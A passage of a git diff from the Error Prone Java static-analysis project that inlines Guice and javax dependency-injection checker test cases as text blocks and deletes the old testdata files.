OverridesJavaxInjectableMethodPositiveCases { + + /** Class with foo() */ + public class TestClass0 { + public void foo() {} + } + + /** + * Class with a method foo() that is annotated with {@code javax.inject.Inject}. Other test + * classes will extend this class. + */ + public class TestClass1 extends TestClass0 { + @javax.inject.Inject + public void foo() {} + } + + /** + * Class with a method foo() that is not annotated, but overrides a method annotated with + * {@code @}javax.inject.Inject. + */ + public class TestClass2 extends TestClass1 { + // BUG: Diagnostic contains: @Inject + public void foo() {} + } + + /** + * Class with a method foo() that is not annotated, but overrides a method that in turn overrides + * a method that is annotated with @javax.inject.Inject. + */ + public class TestClass3 extends TestClass2 { + // BUG: Diagnostic contains: @Inject + public void foo() {} + } +}""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/OverridesJavaxInjectableMethodNegativeCases.java") + .addSourceLines( + "OverridesJavaxInjectableMethodNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.inject.guice.testdata; + + /** + * @author sgoldfeder@google.com (Steven Goldfeder) + */ + public class OverridesJavaxInjectableMethodNegativeCases { + /** Class with a method foo() with no annotations. */ + public class TestClass1 { + public void foo() {} + } + + /** Class with a method foo() annotated with @com.google.inject.Inject. */ + public class TestClass2 { + @com.google.inject.Inject + public void foo() {} + } + + /** Class with a method foo() annotated with @javax.inject.Inject. */ + public class TestClass3 { + @javax.inject.Inject + public void foo() {} + } + + /** OK, as it overrides a Guice-Inject method */ + public class TestClass4 extends TestClass2 { + @Override + public void foo() {} + } + + /** gInject <- jInject */ + public class TestClass5 extends TestClass3 { + @com.google.inject.Inject + public void foo() {} + } + + /** jInject <- gInject */ + public class TestClass6 extends TestClass2 { + @javax.inject.Inject + public void foo() {} + } + + /** OK, as 7 <- jInject <- gInject */ + public class TestClass7 extends TestClass6 { + public void foo() {} + } + + /** OK, as 8 <- gInject */ + public class TestClass8 extends TestClass5 { + public void foo() {} + } + + /** Explicitly suppressed warning */ + public class TestClass9 extends TestClass3 { + @Override + @SuppressWarnings("OverridesJavaxInjectableMethod") + public void foo() {} + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/ProvidesMethodOutsideOfModuleTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/ProvidesMethodOutsideOfModuleTest.java index cd5c28f3071..e87d5e7fdfb 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/ProvidesMethodOutsideOfModuleTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/ProvidesMethodOutsideOfModuleTest.java @@ -32,14 +32,123 @@ public class ProvidesMethodOutsideOfModuleTest { @Test public void positiveCase() { compilationHelper - .addSourceFile("testdata/ProvidesMethodOutsideOfModulePositiveCases.java") + .addSourceLines( + "ProvidesMethodOutsideOfModulePositiveCases.java", + """ + package com.google.errorprone.bugpatterns.inject.guice.testdata; + + import com.google.inject.AbstractModule; + import com.google.inject.Provides; + + /** Tests for {@code ProvidesMethodOutsideOfModule} */ + public class ProvidesMethodOutsideOfModulePositiveCases { + + /** Random class contains a provides method. */ + public class TestClass1 { + // BUG: Diagnostic contains: remove + @Provides + void providesBlah() {} + } + + /** Module contains an anonymous inner with a Provides method. */ + public class TestModule extends AbstractModule { + @Override + protected void configure() { + Object x = + new Object() { + // BUG: Diagnostic contains: remove + @Provides + void providesBlah() {} + }; + } + } + + /** Class has inner module class */ + public class TestClass2 { + class NestedModule extends AbstractModule { + @Override + protected void configure() {} + + @Provides + int thisIsOk() { + return 42; + } + } + + // BUG: Diagnostic contains: remove + @Provides + int thisIsNotOk() { + return 42; + } + } + }""") .doTest(); } @Test public void negativeCase() { compilationHelper - .addSourceFile("testdata/ProvidesMethodOutsideOfModuleNegativeCases.java") + .addSourceLines( + "ProvidesMethodOutsideOfModuleNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.inject.guice.testdata; + + import com.google.gwt.inject.client.AbstractGinModule; + import com.google.gwt.inject.client.GinModule; + import com.google.gwt.inject.client.binder.GinBinder; + import com.google.inject.AbstractModule; + import com.google.inject.Binder; + import com.google.inject.Module; + import com.google.inject.Provides; + + /** Tests for {@code ProvidesMethodOutsideOfModule} */ + public class ProvidesMethodOutsideOfModuleNegativeCases { + + /** Regular module */ + class Module1 extends AbstractModule { + @Override + protected void configure() {} + + @Provides + int providesFoo() { + return 42; + } + } + + /** implements the Module interface directly */ + class Module2 implements Module { + @Override + public void configure(Binder binder) {} + + @Provides + int providesFoo() { + return 42; + } + } + + /** Regular GinModule */ + class GinModule1 extends AbstractGinModule { + + @Override + protected void configure() {} + + @Provides + int providesFoo() { + return 42; + } + } + + /** Implements the GinModule interface directly */ + class GinModule2 implements GinModule { + @Override + public void configure(GinBinder binder) {} + + @Provides + int providesFoo() { + return 42; + } + } + }""") .doTest(); } } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/AssistedInjectScopingNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/AssistedInjectScopingNegativeCases.java deleted file mode 100644 index 90496203f01..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/AssistedInjectScopingNegativeCases.java +++ /dev/null @@ -1,107 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.inject.guice.testdata; - -import com.google.inject.Inject; -import com.google.inject.Singleton; -import com.google.inject.assistedinject.Assisted; -import com.google.inject.assistedinject.AssistedInject; - -/** - * @author eaftan@google.com (Eddie Aftandilian) - */ -public class AssistedInjectScopingNegativeCases { - - /** Class is not assisted and has no scoping annotation. */ - public class TestClass1 { - public TestClass1(String unassisted1, String unassisted2) {} - } - - /** Class is not assisted and has no scoping annotation, but has an unrelated annotation. */ - @SuppressWarnings("foo") - public class TestClass2 { - public TestClass2(String unassisted, @Assisted String assisted) {} - } - - /** Class is not assisted but has scoping annotation. */ - @Singleton - public class TestClass3 { - public TestClass3(String unassisted1, String unassisted2) {} - } - - /** Class is assisted via @Assisted param but has no scoping annotation. */ - public class TestClass4 { - @Inject - public TestClass4(@Assisted String assisted) {} - } - - /** Class is assisted via @AssistedInject constructor but has no scoping annotation. */ - public class TestClass5 { - @AssistedInject - public TestClass5(String unassisted) {} - } - - /** Class is not assisted -- constructor with @Assisted param does not have @Inject. */ - @Singleton - public class TestClass6 { - public TestClass6(@Assisted String assisted) {} - } - - /** Multiple constructors but not assisted. */ - @Singleton - public class TestClass7 { - public TestClass7(String unassisted1, String unassisted2) {} - - public TestClass7(String unassisted, int i) {} - - public TestClass7(int i, String unassisted) {} - } - - /** Multiple constructors, one with @Inject, non-@Inject ones match. */ - @Singleton - public class TestClass8 { - @Inject - public TestClass8(String unassisted1, String unassisted2) {} - - @AssistedInject - public TestClass8(String param, int i) {} - - @AssistedInject - public TestClass8(int i, String param) {} - } - - /** Multiple constructors, one with @Inject, non-@Inject ones match. */ - @Singleton - public class TestClass9 { - @Inject - public TestClass9(String unassisted1, String unassisted2) {} - - @AssistedInject - public TestClass9(String param, int i) {} - - @AssistedInject - public TestClass9(int i, String param) {} - } - - @Singleton - public class TestClass10 { - public TestClass10(@Assisted String assisted, String unassisted) {} - - public TestClass10(@Assisted String assisted, int i) {} - - public TestClass10(int i, @Assisted String assisted) {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/AssistedInjectScopingPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/AssistedInjectScopingPositiveCases.java deleted file mode 100644 index 82c0a6cf155..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/AssistedInjectScopingPositiveCases.java +++ /dev/null @@ -1,81 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.inject.guice.testdata; - -import com.google.inject.Inject; -import com.google.inject.Singleton; -import com.google.inject.assistedinject.Assisted; -import com.google.inject.assistedinject.AssistedInject; -import com.google.inject.servlet.RequestScoped; - -/** - * @author eaftan@google.com (Eddie Aftandilian) - */ -public class AssistedInjectScopingPositiveCases { - - // BUG: Diagnostic contains: remove this line - @Singleton - public class TestClass { - @Inject - public TestClass(String unassisted, @Assisted String assisted) {} - } - - // BUG: Diagnostic contains: remove this line - @RequestScoped - public class TestClass2 { - @Inject - public TestClass2(String unassisted, @Assisted String assisted) {} - } - - // BUG: Diagnostic contains: remove this line - @Singleton - public class TestClass3 { - @AssistedInject - public TestClass3(String param) {} - } - - /** Multiple constructors, but only one with @Inject, and that one matches. */ - // BUG: Diagnostic contains: remove this line - @Singleton - public class TestClass4 { - @Inject - public TestClass4(String unassisted, @Assisted String assisted) {} - - public TestClass4(String unassisted, int i) {} - - public TestClass4(int i, String unassisted) {} - } - - /** Multiple constructors, none with @Inject, one matches. */ - // BUG: Diagnostic contains: remove this line - @Singleton - public class TestClass5 { - public TestClass5(String unassisted1, String unassisted2) {} - - public TestClass5(String unassisted, int i) {} - - @AssistedInject - public TestClass5(int i, String unassisted) {} - } - - /** JSR330 annotations. */ - // BUG: Diagnostic contains: remove this line - @javax.inject.Singleton - public class TestClass6 { - @javax.inject.Inject - public TestClass6(String unassisted, @Assisted String assisted) {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/AssistedParametersNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/AssistedParametersNegativeCases.java deleted file mode 100644 index 6a7516049d4..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/AssistedParametersNegativeCases.java +++ /dev/null @@ -1,68 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except - * in compliance with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software distributed under the License - * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express - * or implied. See the License for the specific language governing permissions and limitations under - * the License. - */ - -package com.google.errorprone.bugpatterns.inject.guice.testdata; - -import com.google.inject.assistedinject.Assisted; -import java.util.List; -import javax.inject.Inject; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class AssistedParametersNegativeCases { - - /** Class has constructor with two @Assisted parameters of different types. */ - public class TestClass1 { - @Inject - public TestClass1(@Assisted int x, @Assisted String y, long z) {} - } - - /** - * Class has constructor with two @Assisted parameters, but the @Assisted annotations have - * different values. - */ - public class TestClass2 { - @Inject - public TestClass2(@Assisted("foo") int x, @Assisted("bar") int y, String z) {} - } - - /** - * Class has constructor with one @Assisted parameter with no value specified and another - * parameter of the same type. - */ - public class TestClass3 { - @Inject - public TestClass3(@Assisted int x, int y, String z) {} - } - - /** - * Class has constructor with one @Assisted parameters with a value specified and another - * parameter of the same type. - */ - public class TestClass4 { - @Inject - public TestClass4(@Assisted("foo") int x, int y, String z) {} - } - - /** - * Class has constructor with two @Assisted parameters with the same value and generic type and - * different type parameters. - */ - public class TestClass5 { - @Inject - public TestClass5( - @Assisted("foo") List x, @Assisted("foo") List y, String z) {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/AssistedParametersPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/AssistedParametersPositiveCases.java deleted file mode 100644 index 5c704cea5ac..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/AssistedParametersPositiveCases.java +++ /dev/null @@ -1,74 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.guice.testdata; - -import com.google.inject.assistedinject.Assisted; -import java.util.List; -import javax.inject.Inject; - -/** - * @author sgoldfeder@google.com(Steven Goldfeder) - */ -public class AssistedParametersPositiveCases { - - /** Class has constructor with two @Assisted parameters of the same type. */ - public class TestClass1 { - @Inject - // BUG: Diagnostic contains: java.lang.String: x, y - public TestClass1(int n, @Assisted String x, @Assisted String y, int z) {} - - @Inject - // BUG: Diagnostic contains: java.lang.String, @Assisted("baz"): x, z - public TestClass1( - @Assisted("foo") int a, - @Assisted("foo") int b, - @Assisted("baz") String x, - @Assisted("baz") String z) {} - } - - /** Class has constructor with two @Assisted parameters of the same type and same value. */ - public class TestClass2 { - @Inject - // BUG: Diagnostic contains: int, @Assisted("foo"): x, y - public TestClass2(int n, @Assisted("foo") int x, @Assisted("foo") int y, String z) {} - } - - /** Class has constructor with two @Assisted parameters of the same parameterized type. */ - public class TestClass3 { - private static final String FOO = "foo"; - - @Inject - // BUG: Diagnostic contains: java.util.List, @Assisted("foo"): x, y - public TestClass3( - int n, @Assisted("foo") List x, @Assisted(FOO) List y, String z) {} - - @Inject - // BUG: Diagnostic contains: int, @Assisted("bar"): x, y - public TestClass3( - @Assisted() int n, @Assisted("bar") int x, @Assisted("bar") int y, String z) {} - } - - class GenericClass { - @Inject - // BUG: Diagnostic contains: T: a, b - GenericClass(@Assisted T a, @Assisted T b) {} - - @Inject - // BUG: Diagnostic contains: int: a, b - GenericClass(@Assisted Integer a, @Assisted int b) {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/BindingToUnqualifiedCommonTypeNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/BindingToUnqualifiedCommonTypeNegativeCases.java deleted file mode 100644 index d85a53583e3..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/BindingToUnqualifiedCommonTypeNegativeCases.java +++ /dev/null @@ -1,99 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.guice.testdata; - -import com.google.common.collect.ImmutableList; -import com.google.inject.AbstractModule; -import com.google.inject.Binder; -import com.google.inject.BindingAnnotation; -import com.google.inject.Module; -import com.google.inject.Provides; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.util.List; -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; - -/** Tests for {@code BindingToUnqualifiedCommonType} */ -public class BindingToUnqualifiedCommonTypeNegativeCases { - - // All of the tagged instances would normally be flagged, but aren't because it's in a JUnit4 - // class - @RunWith(JUnit4.class) - static class MyTestClass { - /** Regular module */ - class Module1 extends AbstractModule { - @Override - protected void configure() { - bind(Integer.class).toInstance(2); - bind(String.class).toInstance("Hello"); - bind(Double.class).toProvider(() -> 42.0); - binder().bind(Long.class).toInstance(42L); - } - - @Provides - int providesFoo() { - return 42; - } - - @Provides - Integer provideBoxedFoo() { - return 42; - } - - @Provides - String providesGreeting() { - return "hi"; - } - } - } - - /** Regular module */ - class Module1 extends AbstractModule { - @Override - protected void configure() { - // Bindings to unannotated complex instances - bind(A.class).toInstance(new A()); - - // Binding to literals, but with a binding annotation - bind(Integer.class).annotatedWith(MyBindingAnnotation.class).toInstance(42); - } - - @Provides - List providesFoo() { - return ImmutableList.of(42); - } - } - - /** implements the Module interface directly */ - class Module2 implements Module { - @Override - public void configure(Binder binder) {} - - @Provides - @MyBindingAnnotation - int providesFoo() { - return 42; - } - } - - class A {} - - @BindingAnnotation - @Retention(RetentionPolicy.RUNTIME) - @interface MyBindingAnnotation {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/BindingToUnqualifiedCommonTypePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/BindingToUnqualifiedCommonTypePositiveCases.java deleted file mode 100644 index f0bd8c55cfa..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/BindingToUnqualifiedCommonTypePositiveCases.java +++ /dev/null @@ -1,60 +0,0 @@ -/* - * Copyright 2016 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.guice.testdata; - -import com.google.inject.AbstractModule; -import com.google.inject.Provides; - -/** Tests for {@code BindingToUnqualifiedCommonType} */ -public class BindingToUnqualifiedCommonTypePositiveCases { - - /** Regular module */ - class Module1 extends AbstractModule { - @Override - protected void configure() { - // BUG: Diagnostic contains: BindingToUnqualifiedCommonType - bind(Integer.class).toInstance(2); - - // BUG: Diagnostic contains: BindingToUnqualifiedCommonType - bind(String.class).toInstance("Hello"); - - // BUG: Diagnostic contains: BindingToUnqualifiedCommonType - bind(Double.class).toProvider(() -> 42.0); - - // BUG: Diagnostic contains: BindingToUnqualifiedCommonType - binder().bind(Long.class).toInstance(42L); - } - - @Provides - // BUG: Diagnostic contains: BindingToUnqualifiedCommonType - int providesFoo() { - return 42; - } - - @Provides - // BUG: Diagnostic contains: BindingToUnqualifiedCommonType - Integer provideBoxedFoo() { - return 42; - } - - @Provides - // BUG: Diagnostic contains: BindingToUnqualifiedCommonType - String providesGreeting() { - return "hi"; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/InjectOnFinalFieldNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/InjectOnFinalFieldNegativeCases.java deleted file mode 100644 index 71a167e7769..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/InjectOnFinalFieldNegativeCases.java +++ /dev/null @@ -1,44 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.guice.testdata; - -import com.google.inject.Inject; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class InjectOnFinalFieldNegativeCases { - - /** Class has no final fields or @Inject annotations. */ - public class TestClass1 {} - - /** Class has a final field that is not injectable. */ - public class TestClass2 { - public final int n = 0; - } - - /** Class has an injectable(com.google.inject.Inject) field that is not final. */ - public class TestClass3 { - @Inject public int n; - } - - /** Class has an injectable(com.google.inject.Inject), final method. */ - public class TestClass4 { - @Inject - final void method() {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/InjectOnFinalFieldPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/InjectOnFinalFieldPositiveCases.java deleted file mode 100644 index 3bde324ed33..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/InjectOnFinalFieldPositiveCases.java +++ /dev/null @@ -1,39 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.guice.testdata; - -import com.google.inject.Inject; -import org.jspecify.annotations.Nullable; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class InjectOnFinalFieldPositiveCases { - /** Class has a final injectable(com.google.inject.Inject) field. */ - public class TestClass1 { - // BUG: Diagnostic contains: @Inject int a - @Inject final int a = 0; - - @Inject - // BUG: Diagnostic contains: public int b - public final int b = 0; - - @Inject @Nullable - // BUG: Diagnostic contains: Object c - final Object c = null; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/OverridesGuiceInjectableMethodNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/OverridesGuiceInjectableMethodNegativeCases.java deleted file mode 100644 index 7a90bef6767..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/OverridesGuiceInjectableMethodNegativeCases.java +++ /dev/null @@ -1,75 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.guice.testdata; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class OverridesGuiceInjectableMethodNegativeCases { - - /** Class with a method foo() annotated with @com.google.inject.Inject. */ - public class TestClass1 { - @com.google.inject.Inject - public void foo() {} - } - - /** Class with a method foo() annotated with @javax.inject.Inject. */ - public class TestClass2 { - @javax.inject.Inject - public void foo() {} - } - - /** - * Class with a method foo() annotated with @javax.inject.Inject that overrides a method annotated - * with @com.google.inject.Inject. - */ - public class TestClass3 extends TestClass1 { - @javax.inject.Inject - public void foo() {} - } - - /** - * Class with a method foo() annotated with @com.google.inject.Inject that overrides a method - * annotated with @javax.inject.Inject. - */ - public class TestClass4 extends TestClass2 { - @com.google.inject.Inject - public void foo() {} - } - - /** - * Class with a method foo() annotated with @javax.inject.Inject that overrides a method annotated - * with @com.google.inject.Inject - */ - public class TestClass5 extends TestClass1 { - @javax.inject.Inject - public void foo() {} - } - - /** - * Class with a method foo() that is not annotated with @Inject, but overrides a method that is - * annotated with @com.google.inject.Inject. Warning is suppressed. - */ - public class TestClass6 extends TestClass1 { - @SuppressWarnings("OverridesGuiceInjectableMethod") - @Override - public void foo() {} - } - - /** Class that extends a class with an injected method, but doesn't override it. */ - public class TestClass7 extends TestClass1 {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/OverridesGuiceInjectableMethodPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/OverridesGuiceInjectableMethodPositiveCases.java deleted file mode 100644 index abb6e8392d8..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/OverridesGuiceInjectableMethodPositiveCases.java +++ /dev/null @@ -1,79 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.guice.testdata; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class OverridesGuiceInjectableMethodPositiveCases { - - /** Class with a method foo() annotated with @com.google.inject.Inject. */ - public class TestClass1 { - @com.google.inject.Inject - public void foo() {} - } - - /** - * Class with a method foo() that is not annotated with @Inject, but overrides a method that is - * annotated with @com.google.inject.Inject - */ - public class TestClass2 extends TestClass1 { - // BUG: Diagnostic contains: @Inject - public void foo() {} - } - - /** - * Class with a method foo() that is not annotated with @Inject, but overrides a method that in - * turn is overrides a method that is annotated with @com.google.inject.Inject - */ - public class TestClass3 extends TestClass2 { - // BUG: Diagnostic contains: @Inject - public void foo() {} - } - - /** - * Class with a method foo() that is not annotated with @javax.inject.Inject and overrides a - * method that is annotated with @com.google.inject.Inject. This class does not contain an error, - * but it is extended in the next test class. - */ - public class TestClass4 extends TestClass1 { - @javax.inject.Inject - public void foo() {} - } - - /** - * Class with a method foo() that is not annotated with @Inject and overrides a method that is is - * annotated with @javax.inject.Inject. This super method in turn overrides a method that is - * annoatated with @com.google.inject.Inject. - */ - public class TestClass5 extends TestClass4 { - // BUG: Diagnostic contains: @Inject - public void foo() {} - } - - /** Class that extends a class with an injected method, but doesn't override it. */ - public class TestClass6 extends TestClass1 {} - - /** - * Class that extends a class with an injected method, but it was declared in a supertype that - * isn't a direct supertype. - */ - public class TestClass7 extends TestClass1 { - // BUG: Diagnostic contains: @Inject - public void foo() {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/OverridesJavaxInjectableMethodNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/OverridesJavaxInjectableMethodNegativeCases.java deleted file mode 100644 index 5be36002b1f..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/OverridesJavaxInjectableMethodNegativeCases.java +++ /dev/null @@ -1,74 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.guice.testdata; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class OverridesJavaxInjectableMethodNegativeCases { - /** Class with a method foo() with no annotations. */ - public class TestClass1 { - public void foo() {} - } - - /** Class with a method foo() annotated with @com.google.inject.Inject. */ - public class TestClass2 { - @com.google.inject.Inject - public void foo() {} - } - - /** Class with a method foo() annotated with @javax.inject.Inject. */ - public class TestClass3 { - @javax.inject.Inject - public void foo() {} - } - - /** OK, as it overrides a Guice-Inject method */ - public class TestClass4 extends TestClass2 { - @Override - public void foo() {} - } - - /** gInject <- jInject */ - public class TestClass5 extends TestClass3 { - @com.google.inject.Inject - public void foo() {} - } - - /** jInject <- gInject */ - public class TestClass6 extends TestClass2 { - @javax.inject.Inject - public void foo() {} - } - - /** OK, as 7 <- jInject <- gInject */ - public class TestClass7 extends TestClass6 { - public void foo() {} - } - - /** OK, as 8 <- gInject */ - public class TestClass8 extends TestClass5 { - public void foo() {} - } - - /** Explicitly suppressed warning */ - public class TestClass9 extends TestClass3 { - @Override - @SuppressWarnings("OverridesJavaxInjectableMethod") - public void foo() {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/OverridesJavaxInjectableMethodPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/OverridesJavaxInjectableMethodPositiveCases.java deleted file mode 100644 index 473bf5917c4..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/inject/guice/testdata/OverridesJavaxInjectableMethodPositiveCases.java +++ /dev/null @@ -1,55 +0,0 @@ -/* - * Copyright 2013 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.inject.guice.testdata; - -/** - * @author sgoldfeder@google.com (Steven Goldfeder) - */ -public class OverridesJavaxInjectableMethodPositiveCases { - - /** Class with foo() */ - public class TestClass0 { - public void foo() {} - } - - /** - * Class with a method foo() that is annotated with {@code javax.inject.Inject}. Other test - * classes will extend this class. - */ - public class TestClass1 extends TestClass0 { - @javax.inject.Inject - public void foo() {} - } - - /** - * Class with a method foo() that is not annotated, but overrides a method annotated with - * {@code 